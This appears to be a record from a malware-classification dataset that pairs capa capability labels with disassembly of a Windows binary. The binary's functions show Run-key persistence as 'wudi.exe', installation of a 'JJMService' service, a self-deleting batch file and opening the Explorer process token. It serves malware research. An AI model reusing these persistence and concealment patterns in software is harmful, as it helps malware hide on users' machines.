joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401e40
Capabilities:
Check os version

Disassembly:
sub esp, 0x98
push ebx
push ebp
push esi
push edi
mov edi, 0x45f2b0
or ecx, 0xffffffff
xor eax, eax
xor ebx, ebx
xor ebp, ebp
mov dword [esp + 0x10], ebx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x45eeb0
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x25
lea edi, [esp + 0x14]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x14], 0x94
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [esp + 0x24], 2
jne 0x401eb7
call fcn.00401360
test eax, eax
jne 0x401ed9
call fcn.00401a00
test eax, eax
jne 0x401ed9
call fcn.00401660
jmp 0x401ed9
xor esi, esi
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x401ed9
mov al, byte [0x45eeb0]
test al, al
jne 0x401ee0
call fcn.004018f0
inc esi
mov dword [esp + 0x10], eax
cmp esi, 0xa
jl 0x401eb9
mov al, byte [0x45eeb0]
test al, al
jle 0x40201d
mov esi, 0x45eeb0
push 4
push str.WD_W
push esi
call fcn.00433ff0
add esp, 0xc
test eax, eax
jne 0x401f04
mov esi, 0x45eeb5
test esi, esi
je 0x40201d
mov al, byte [esi]
test al, al
je 0x402015
cmp al, 0x2d
je case.0x401f3c.48
push 0
push 0xa
push ebx
push ebp
call fcn.00434030
mov ebp, eax
mov ebx, edx
movsx eax, byte [esi]
add eax, 0xffffffd0
cmp eax, 0x4a
ja case.0x401f3c.48
jmp dword [eax*4 + 0x402048]
add ebp, 1
jmp 0x40200b
add ebp, 2
jmp 0x40200b
add ebp, 3
jmp 0x40200b
add ebp, 4
jmp 0x40200b
add ebp, 5
jmp 0x40200b
add ebp, 6
jmp 0x40200b
add ebp, 7
jmp 0x40200b
add ebp, 8
jmp 0x40200b
add ebp, 9
jmp 0x40200b
add ebp, 0xa
jmp 0x40200b
add ebp, 0xb
jmp 0x40200b
add ebp, 0xc
jmp 0x40200b
add ebp, 0xd
jmp 0x40200b
add ebp, 0xe
jmp 0x40200b
add ebp, 0xf
jmp 0x40200b
add ebp, 0x10
jmp 0x40200b
add ebp, 0x11
jmp 0x40200b
add ebp, 0x12
jmp 0x40200b
add ebp, 0x13
jmp 0x40200b
add ebp, 0x14
jmp 0x40200b
add ebp, 0x15
jmp 0x40200b
add ebp, 0x16
jmp 0x40200b
add ebp, 0x17
jmp 0x40200b
add ebp, 0x18
jmp 0x40200b
add ebp, 0x19
jmp 0x40200b
add ebp, 0x1a
jmp 0x40200b
add ebp, 0x1b
jmp 0x40200b
add ebp, 0x1c
jmp 0x40200b
add ebp, 0x1d
jmp 0x40200b
add ebp, 0x1e
jmp 0x40200b
add ebp, 0x1f
jmp 0x40200b
add ebp, 0x20
jmp 0x40200b
add ebp, 0x21
jmp 0x40200b
add ebp, 0x22
jmp 0x40200b
add ebp, 0x23
adc ebx, 0
inc esi
jne 0x401f0c
test ebp, ebp
jne 0x402037
test ebx, ebx
jne 0x402037
call fcn.00401d40
mov ebp, eax
mov ebx, edx
test ebp, ebp
jne 0x402037
test ebx, ebx
jne 0x402037
call fcn.00401d90
mov ebp, eax
mov ebx, edx
pop edi
mov eax, ebp
pop esi
mov edx, ebx
pop ebp
pop ebx
add esp, 0x98
ret
Function at 0x402180
Capabilities:
Create thread

Disassembly:
push ecx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [esp + 4], 0
call fcn.00403490
test eax, eax
jge 0x4021af
push 0x454158
call fcn.00403410
add esp, 4
push 0x1388
call esi
jmp 0x402190
push 0x45f428
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
call fcn.004059a0
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
mov dword [0x45f884], eax
call fcn.00403190
call fcn.00403230
mov esi, eax
cmp esi, 0xfffffc18
je 0x4021f1
test esi, esi
jle 0x4021f3
call fcn.004033b0
test esi, esi
je 0x4021fa
call fcn.00403320
push 0
call fcn.00404770
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
lea eax, [esp + 4]
push eax
push 0
push 0
push 0x4048d0
push 0
push 0
call esi
lea ecx, [esp + 4]
push ecx
push 0
push 0
push 0x402f80
push 0
push 0
call esi
lea edx, [esp + 4]
push edx
push 0
push 0
push 0x4027e0
push 0
push 0
call esi
pop esi
pop ecx
ret
Function at 0x403130
Capabilities:
Set current directory

Disassembly:
sub esp, 0x104
lea eax, [esp]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x403153
add esp, 0x104
ret
lea ecx, [esp]
push 0x5c
push ecx
call fcn.00434620
add esp, 8
test eax, eax
jne 0x40316d
add esp, 0x104
ret
lea edx, [esp]
mov byte [eax + 1], 0
push edx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
neg eax
sbb eax, eax
neg eax
add esp, 0x104
ret

Function at 0x403410
Capabilities:
Print debug messages

Disassembly:
sub esp, 0x800
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp]
push esi
push edi
mov edi, str._jjmserver_
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
mov edx, dword [esp + 0x80c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x810]
lea edi, [esp + 8]
push ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
push edx
lea eax, [esp + ecx + 0x10]
push eax
call fcn.00434647
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
add esp, 0xc
lea ecx, [esp + 8]
push ecx
call esi
push 0x4544f4
call esi
pop edi
pop esi
add esp, 0x800
ret

Function at 0x403870
Capabilities:
Persist via windows service
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x447a80
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
mov eax, dword [0x45ae58]
push ebx
xor ebx, ebx
mov dword [esp + 4], eax
mov dword [esp + 0xc], ebx
mov dword [esp + 0x1c], ebx
mov dword [esp + 8], eax
push str.SYSTEMCurrentControlSetServicesTcpipParameters
lea ecx, [esp + 8]
mov byte [esp + 0x20], 1
mov dword [esp + 0x14], 0xbb8
call fcn.00441920
mov ecx, dword [esp + 4]
lea eax, [esp + 0xc]
push eax
push ecx
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x4038f2
mov eax, dword [esp + 0xc]
lea edx, [esp + 0x10]
push 4
push edx
push 4
push ebx
push str.KeepAliveTime
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x40392f
push ebx
push 0x30
push 0x4545d0
call fcn.00446572
lea ecx, [esp + 8]
mov byte [esp + 0x1c], bl
call fcn.00441827
lea ecx, [esp + 4]
mov dword [esp + 0x1c], 0xffffffff
call fcn.00441827
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x10]
mov dword fs:[0], ecx
add esp, 0x1c
ret
lea ecx, [esp + 8]
mov byte [esp + 0x1c], bl
call fcn.00441827
lea ecx, [esp + 4]
mov dword [esp + 0x1c], 0xffffffff
call fcn.00441827
mov ecx, dword [esp + 0x14]
mov eax, 1
pop ebx
mov dword fs:[0], ecx
add esp, 0x1c
ret
Function at 0x403970
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 8
mov ecx, dword [esp + 0xc]
lea eax, [esp]
push eax
push 0x2001f
push 0
push ecx
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [esp + 0x14], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x4039a1
xor eax, eax
add esp, 8
ret
mov eax, dword [esp + 0x14]
lea edx, [esp + 0xc]
push edx
mov edx, dword [esp + 0x14]
lea ecx, [esp + 8]
push eax
mov eax, dword [esp + 8]
push ecx
push 0
push edx
push eax
mov dword [esp + 0x24], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x4039d4
xor eax, eax
add esp, 8
ret
mov ecx, dword [esp]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
add esp, 8
ret
Function at 0x404490
Capabilities:
Create process on windows
Get common file path

Disassembly:
sub esp, 0x608
lea eax, [esp]
push ebx
push esi
push edi
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea edi, [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dl, byte [esp + ecx + 0xb]
lea eax, [esp + ecx + 0xc]
cmp dl, 0x5c
je 0x4044cc
mov byte [esp + ecx + 0xd], 0
mov byte [eax], 0x5c
mov edi, str.reself.bat
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0xc]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x454740
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x10]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.00434907
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x404684
lea ecx, [esp + 0x510]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x510]
push 0x5c
push edx
call fcn.00434620
mov edx, eax
add esp, 8
test edx, edx
je 0x404684
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x110]
push ebp
rep stosd dword es:[edi], eax
or ecx, 0xffffffff
mov edi, str.jjmsleep.exe
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea ebp, [esp + 0x114]
mov eax, ecx
mov esi, edi
shr ecx, 2
mov edi, ebp
lea ebp, [esp + 0x114]
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
mov edi, 0x4544f4
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 1
mov esi, edi
mov edi, ebp
mov ebp, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [edx + 1]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x11c]
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x11c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x11c]
push ecx
push eax
call fcn.0043479d
mov edi, 0x4544f4
or ecx, 0xffffffff
xor eax, eax
push ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 1
push ecx
push 0x4544f4
call fcn.0043479d
lea edx, [esp + 0x134]
mov edi, str.exit
or ecx, 0xffffffff
xor eax, eax
push ebx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 1
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x13c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea ecx, [esp + 0x140]
push ecx
call fcn.0043479d
push ebx
call fcn.00434720
add esp, 0x34
lea edx, [esp + 0x10]
push 0
push 0
push 0
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x608
ret
Function at 0x404690
Capabilities:
Persist via run registry key

Disassembly:
push 0xffffffffffffffff
push 0x447b3b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x138
push edi
lea ecx, [esp + 4]
call fcn.00409840
mov ecx, 0x4b
xor eax, eax
lea edi, [esp + 0x10]
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
rep stosd dword es:[edi], eax
push reloc.OLEAUT32.dll_SysReAllocString
lea ecx, [esp + 0xc]
mov dword [esp + 0x14c], 0
call fcn.004098d0
lea eax, [esp + 0x10]
lea ecx, [esp + 4]
push eax
push str.wudi.exe
call fcn.00409970
pop edi
mov al, byte [esp + 0xc]
test al, al
je 0x404739
cmp al, 0x20
je 0x404739
lea ecx, [esp]
call fcn.00409910
lea ecx, [esp]
mov dword [esp + 0x140], 0xffffffff
call fcn.00409880
mov eax, 1
mov ecx, dword [esp + 0x138]
mov dword fs:[0], ecx
add esp, 0x144
ret 4
lea ecx, [esp]
mov dword [esp + 0x140], 0xffffffff
call fcn.00409880
mov ecx, dword [esp + 0x138]
xor eax, eax
mov dword fs:[0], ecx
add esp, 0x144
ret 4

Function at 0x404770
Capabilities:
Persist via run registry key

Disassembly:
push 0xffffffffffffffff
push 0x447b58
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push edi
lea ecx, [esp + 4]
call fcn.00409840
mov ecx, 0x4b
xor eax, eax
mov edi, 0x45f558
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
rep stosd dword es:[edi], eax
push reloc.OLEAUT32.dll_SysReAllocString
lea ecx, [esp + 0xc]
mov dword [esp + 0x20], 0
call fcn.004098d0
push 0x45f558
push str.wudi.exe
lea ecx, [esp + 0xc]
call fcn.00409970
mov al, byte [0x45f558]
pop edi
test al, al
je 0x40480c
cmp al, 0x20
je 0x40480c
lea ecx, [esp]
call fcn.00409910
lea ecx, [esp]
mov dword [esp + 0x14], 0xffffffff
call fcn.00409880
mov eax, 1
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
add esp, 0x18
ret 4
lea ecx, [esp]
mov dword [esp + 0x14], 0xffffffff
call fcn.00409880
mov ecx, dword [esp + 0xc]
xor eax, eax
mov dword fs:[0], ecx
add esp, 0x18
ret 4

Function at 0x404830
Capabilities:
Persist via run registry key

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x447b78
push eax
mov al, byte [0x45f558]
mov dword fs:[0], esp
sub esp, 0xc
test al, al
je 0x4048b2
cmp al, 0x20
je 0x4048b2
push 0
call fcn.00404690
cmp eax, 1
je 0x4048b2
lea ecx, [esp]
call fcn.00409840
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push reloc.OLEAUT32.dll_SysReAllocString
lea ecx, [esp + 8]
mov dword [esp + 0x1c], 0
call fcn.004098d0
push 0x45f558
push str.wudi.exe
lea ecx, [esp + 8]
call fcn.00409940
lea ecx, [esp]
call fcn.00409910
lea ecx, [esp]
mov dword [esp + 0x14], 0xffffffff
call fcn.00409880
mov ecx, dword [esp + 0xc]
xor eax, eax
mov dword fs:[0], ecx
add esp, 0x18
ret 4
Function at 0x405490
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4054a5
xor eax, eax
pop esi
ret
push 0
push eax
push 3
push 0
push 7
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4054c2
xor eax, eax
pop esi
ret
mov eax, dword [esp + 0xc]
push eax
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
test eax, eax
push esi
jne 0x4054e1
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop esi
ret
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop esi
ret

Function at 0x4061e0
Capabilities:
Create service
Persist via windows service

Disassembly:
sub esp, 0x210
push ebx
push str.JJMService
call fcn.00406320
add esp, 4
call fcn.00406410
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
test ebx, ebx
jne 0x40622f
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [esp + 8]
push str.OpenSCManager_failed__error_code___d_n
push eax
call fcn.00433d38
add esp, 0xc
pop ebx
add esp, 0x210
ret
push esi
push edi
mov ecx, 0x64
xor eax, eax
lea edi, [esp + 0x88]
push 0x190
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x8c]
push ecx
push 0
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push str.pModuleFile
mov byte [esp + eax + 0x8c], 0
call fcn.00403410
lea edx, [esp + 0x8c]
push edx
call fcn.00403410
add esp, 8
lea eax, [esp + 0x88]
push 0
push 0
push 0
push 0
push 0
push eax
push 1
push 2
push pe_nt_image_headers32
push 0xf01ff
push str.JJMService
push str.JJMService
push ebx
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, eax
test esi, esi
jne 0x4062e1
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.JJMService
lea ecx, [esp + 0x14]
push str.Failed_to_create_service__s__error_code___d_n
push ecx
call fcn.00433d38
add esp, 0x10
push ebx
call edi
pop edi
pop esi
pop ebx
add esp, 0x210
ret
push str.JJMService
lea edx, [esp + 0x10]
push str.Service__s_installed_n
push edx
mov dword [0x45f8a0], 1
call fcn.00433d38
add esp, 0xc
push esi
call edi
push ebx
call edi
pop edi
pop esi
pop ebx
add esp, 0x210
ret
Function at 0x406320
Capabilities:
Stop service

Disassembly:
sub esp, 0x98
push ebx
push esi
push edi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
jne 0x406363
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [esp + 0x2c]
push str.OpenSCManager_failed__error_code___d
push eax
call fcn.00433d38
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebx
add esp, 0x98
ret
mov ecx, dword [esp + 0xa8]
push 0xf01ff
push ecx
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, eax
test esi, esi
jne 0x4063ab
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea edx, [esp + 0x2c]
push str.OpenService_failed__error_code___d
push edx
call fcn.00433d38
add esp, 0xc
push edi
call ebx
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x98
ret
lea eax, [esp + 0xc]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x4063d8
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x98
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea ecx, [esp + 0x2c]
push str.ControlService_failed__error_code___d
push ecx
call fcn.00433d38
add esp, 0xc
push esi
call ebx
push edi
call ebx
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x98
ret

Function at 0x406410
Capabilities:
Delete service

Disassembly:
sub esp, 0x7c
push edi
push str.JJMService
call fcn.00406320
add esp, 4
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
jne 0x406454
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [esp + 8]
push str.OpenSCManager_failed__error_code___d_n
push eax
call fcn.00433d38
add esp, 0xc
pop edi
add esp, 0x7c
ret
push ebx
push esi
push 0xf01ff
push str.JJMService
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, eax
test esi, esi
jne 0x406496
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea ecx, [esp + 0x10]
push str.OpenService_failed__error_code___d_n
push ecx
call fcn.00433d38
add esp, 0xc
push edi
call ebx
pop esi
pop ebx
pop edi
add esp, 0x7c
ret
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
push str.JJMService
jne 0x4064b2
lea edx, [esp + 0x10]
push str.Failed_to_delete_service__s_n
push edx
jmp 0x4064bc
lea eax, [esp + 0x10]
push str.Service__s_removed_n
push eax
call fcn.00433d38
add esp, 0xc
push esi
call ebx
push edi
call ebx
pop esi
pop ebx
pop edi
add esp, 0x7c
ret
Function at 0x4064e0
Capabilities:
Start service

Disassembly:
sub esp, 0x7c
push ebx
push esi
push edi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
jne 0x40651d
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [esp + 0x10]
push str.OpenSCManager_failed__error_code___d
push eax
call fcn.00433d38
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebx
add esp, 0x7c
ret
mov ecx, dword [esp + 0x8c]
push 0xf01ff
push ecx
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, eax
test esi, esi
jne 0x406562
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea edx, [esp + 0x10]
push str.OpenService_failed__error_code___d
push edx
call fcn.00433d38
add esp, 0xc
push edi
call ebx
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x7c
ret
mov eax, dword [esp + 0x94]
mov ecx, dword [esp + 0x90]
push eax
push ecx
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
je 0x406595
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x7c
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea edx, [esp + 0x10]
push str.StartService_failed__error_code___d
push edx
call fcn.00433d38
add esp, 0xc
push esi
call ebx
push edi
call ebx
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x7c
ret

Function at 0x4065c0
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x128
push edi
xor eax, eax
mov ecx, 0x49
lea edi, [esp + 8]
mov dword [esp + 4], 0
push eax
rep stosd dword es:[edi], eax
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
je 0x4066a8
lea eax, [esp + 4]
mov dword [esp + 4], 0x128
push eax
push edi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x4066a1
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_OpenProcess]
push ebp
mov ebp, dword [esp + 0x138]
push esi
push str.EXPLORER.EXE
call fcn.004349d9
lea ecx, [esp + 0x38]
mov esi, eax
push ecx
call fcn.004349d9
add esp, 8
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x406657
test cl, cl
je 0x406653
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x406657
add eax, 2
add esi, 2
test cl, cl
jne 0x406633
xor eax, eax
jmp 0x40665c
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x406682
mov eax, dword [esp + 0x18]
push eax
push 0
push 0x400
call ebx
push ebp
push 0xf01ff
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x10]
push ecx
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x40661a
pop esi
pop ebp
pop ebx
mov eax, 1
pop edi
add esp, 0x128
ret
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
add esp, 0x128
ret
Function at 0x4075d0
Capabilities:
Copy file

Disassembly:
push 0xffffffffffffffff
push 0x447cd6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x314
mov eax, dword [0x45ae58]
push ebp
push esi
push edi
mov dword [esp + 0x10], eax
mov dword [esp + 0x328], 0
mov dword [esp + 0xc], eax
mov eax, dword [str.Licence.thr]
mov ecx, dword [0x45469c]
mov edx, dword [0x4546a0]
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], ecx
mov ecx, 0x3e
xor eax, eax
lea edi, [esp + 0x20]
mov dword [esp + 0x1c], edx
mov esi, str.Lisense_Files_.thr_
rep stosd dword es:[edi], eax
mov ecx, 0xc
lea edi, [esp + 0x21c]
mov ebp, dword [esp + 0x330]
push 0x104
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x35
lea edi, [esp + 0x250]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x18]
lea ecx, [esp + 0x220]
push eax
push ebp
push ecx
push 0
push 1
mov byte [esp + 0x340], 1
call fcn.00409690
add esp, 0x18
cmp eax, 1
jne 0x407716
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x118]
lea edx, [esp + 0x118]
push 0x104
push edx
rep stosd dword es:[edi], eax
call fcn.00405310
mov edi, str.Licence.thr
or ecx, 0xffffffff
xor eax, eax
add esp, 8
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x118]
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov al, byte [esp + 0x14]
mov ecx, edx
and ecx, 3
test al, al
rep movsb byte es:[edi], byte [esi]
je 0x407716
lea eax, [esp + 0x118]
push 0
lea ecx, [esp + 0x18]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0
push 0
push pe_nt_image_headers32
push ebp
call dword [sym.imp.USER32.dll_SendMessageA]
push 0xffffffffffffffff
lea ecx, [esp + 0x10]
call fcn.00441bc0
lea ecx, [esp + 0xc]
mov byte [esp + 0x328], 0
call fcn.00441827
lea ecx, [esp + 0x10]
mov dword [esp + 0x328], 0xffffffff
call fcn.00441827
mov ecx, dword [esp + 0x320]
pop edi
pop esi
mov eax, 1
pop ebp
mov dword fs:[0], ecx
add esp, 0x320
ret

Function at 0x409940
Capabilities:
Set registry value

Disassembly:
push esi
mov esi, dword [esp + 0xc]
mov edx, ecx
push edi
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [edx + 4]
push esi
push 1
push eax
mov eax, dword [esp + 0x1c]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
pop edi
pop esi
ret 8

Function at 0x409970
Capabilities:
Query or enumerate registry value

Disassembly:
push ecx
mov edx, dword [esp + 0xc]
lea eax, [esp]
push eax
lea eax, [esp + 0x10]
push edx
mov edx, dword [esp + 0x10]
push eax
mov eax, dword [ecx + 4]
push 0
push edx
push eax
mov dword [esp + 0x18], 0xc8
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
pop ecx
ret 8